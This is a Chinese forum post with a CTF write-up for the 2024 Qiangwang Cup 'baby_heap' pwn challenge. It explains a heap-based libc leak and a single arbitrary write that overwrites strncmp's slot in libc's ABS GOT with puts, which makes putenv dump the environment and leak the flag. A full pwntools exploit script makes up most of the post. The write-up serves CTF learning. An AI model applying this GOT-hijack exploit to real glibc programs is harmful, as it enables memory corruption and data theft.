2024 强网杯-baby_heap
1740025934885382 发表于 四川 CTF 212浏览 · 2024-11-04 06:31

强网杯2024-<baby_heap>-<absgot劫持></absgot劫持></baby_heap>

要点:

  • heap函数泄漏libc,heap(太简单了,free一个大chunk申请回来再show一次就可拿libc和heap)
__int64 sub_1C99()
{
  if ( dword_5068 )
    exit(1);
  print("Wow ! You find my secret shop !\n");
  print("But ! It's not so easy to get my secret \n");
  print("  /\\_/\\  \n");
  print(" ( o.o ) \n");
  print("  > ^ <  \n");
  print("Input your target addr \n");
  read(0, &buf, 8uLL);
  sub_1C33();
  read(0, buf, 0x10uLL);
  return ++dword_5068;
}
  • 上图函数,拿libc后就可以进行一次任意地址任意写0x10字节,不过有限制:

    void *sub_1C33()
      {
        void *result; // rax
    
        if ( stdin <= buf && stdin + 0x1B000 > buf )
          exit(1);
        result = buf;
        if ( stdin - 476575488 > buf )
          exit(1);
        return result;
      }
    

    出题人不让你打常规IO,所以IO的攻击方式几乎可舍弃了

  • 有个特别函数:

可设置环境变量,putenv就是我们的攻击函数

putenv函数

格式: putenv(“USER=flag?”)

功能:设置名为USER的环境变量,若环境变量存在则会覆盖值为‘flag?’

源码部分:在其调用 __add_to_environ 函数的时候

ep = __environ;

  size = 0;
  if (ep != NULL)
    {
      for (; *ep != NULL; ++ep)
    if (!strncmp (*ep, name, namelen) && (*ep)[namelen] == '=')
      break;
    else
      ++size;
    }

会去遍历检测是否有该环境变量,用的strncmp,而str类的函数会根据libc上的absgot表索引跳转,利用一次任意写机会修改absgot表上的数据为puts,就可以打印出所有的环境变量。远程部署的动态flag就是根据环境变量写的。远程即可拿flag了。

strncmp部分:

单步进入修改后:

效果:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

#context(os = 'linux', arch = 'amd64', log_level = 'debug')
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
# context.terminal = ['tmux', 'splitw', '-h']
env   = 0x000000000001DAA
env_1 = 0x000000000001D5D
env_2 = 0x000000000001E55
env_3 = 0x000000000001E7F
Menu  = 0x000000000001EE5

file_name = './pwn'
b_string ="b main\n"
b_slice = [Menu,env_2,env_3,env_1,0x000000000001D23,0x01D5D]
for i in b_slice:
    if type(i) == int:
        b_string += f"b *$rebase({i})\n"
    else :
        if type(i) == str:
            b_string += f"b *"+i+f"\n"

choice = 0
if choice == 0 :
    p = process(file_name)
    gdb.attach(p,b_string)
    print(f"Break_point:\n"+b_string)
else :
    if choice == 1 :
        p = gdb.debug(file_name,b_string)
        print(f"Break_point:\n"+b_string)
    else :
        ip_add =""
        port = 
        p = remote(ip_add,port)

#-----------------------------------------------------------------------------------------
rv = lambda x            : p.recv(x)
rl = lambda a=False      : p.recvline(a)
ru = lambda a,b=True     : p.recvuntil(a,b)
rn = lambda x            : p.recvn(x)
sd = lambda x            : p.send(x)
sl = lambda x            : p.sendline(x)
sa = lambda a,b          : p.sendafter(a,b)
sla = lambda a,b         : p.sendlineafter(a,b)
#u32 = lambda             : u32(p.recv(4).ljust(4,b'\x00'))
#u64 = lambda             : u64(p.recv(6).ljust(8,b'\x00'))
inter = lambda           : p.interactive()
debug = lambda text=None : gdb.attach(p, text)
lg = lambda s,addr       : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
pad = lambda a,b           : print("[+]{} =====>".format(a),hex(b))
#-----------------------------------------------------------------------------------------

def menu(num):
    sla("Enter your choice: \n",str(num))
    # print("=== add ===")

def add(size):
    menu(1)
    sla("Enter your commodity size \n",str(size))
    print("=== add ===")

def free(idx):
    menu(2)
    sla("Enter which to delete: \n",str(idx))
    print("=== free ===")


def edite(idx,payload):
    menu(3)
    sla("Enter which to edit: \n",str(idx))
    sa("Input the content \n",payload)
    print("=== edite ===")

def show(idx):
    menu(4)
    sla("Enter which to show: \n",str(idx))
    ru("The content is here \n")
    print("=== show ===")

def env(cho):
    menu(5)
    sla("Maybe you will be sad !\n",str(cho))
    print("=== env ===")

def secret(addr,payload):
    menu(6)
    sa("Input your target addr \n",p64(addr))
    sd(payload)

add(0x5f8)
add(0x500)
free(1)
add(0x540)
show(3)
libc = u64(rv(8))-0x21b150
rv(8)
heap = u64(rv(8))-0x001950

pad("libc",libc)
pad("heap",heap)

strncmp_got = libc+0x21a118

# lib = ELF("./libc-2.35.so")
puts = libc + 0x080e50

secret(strncmp_got,p64(puts)*2)
env(2)

inter()
0 条评论
某人
表情
可输入 255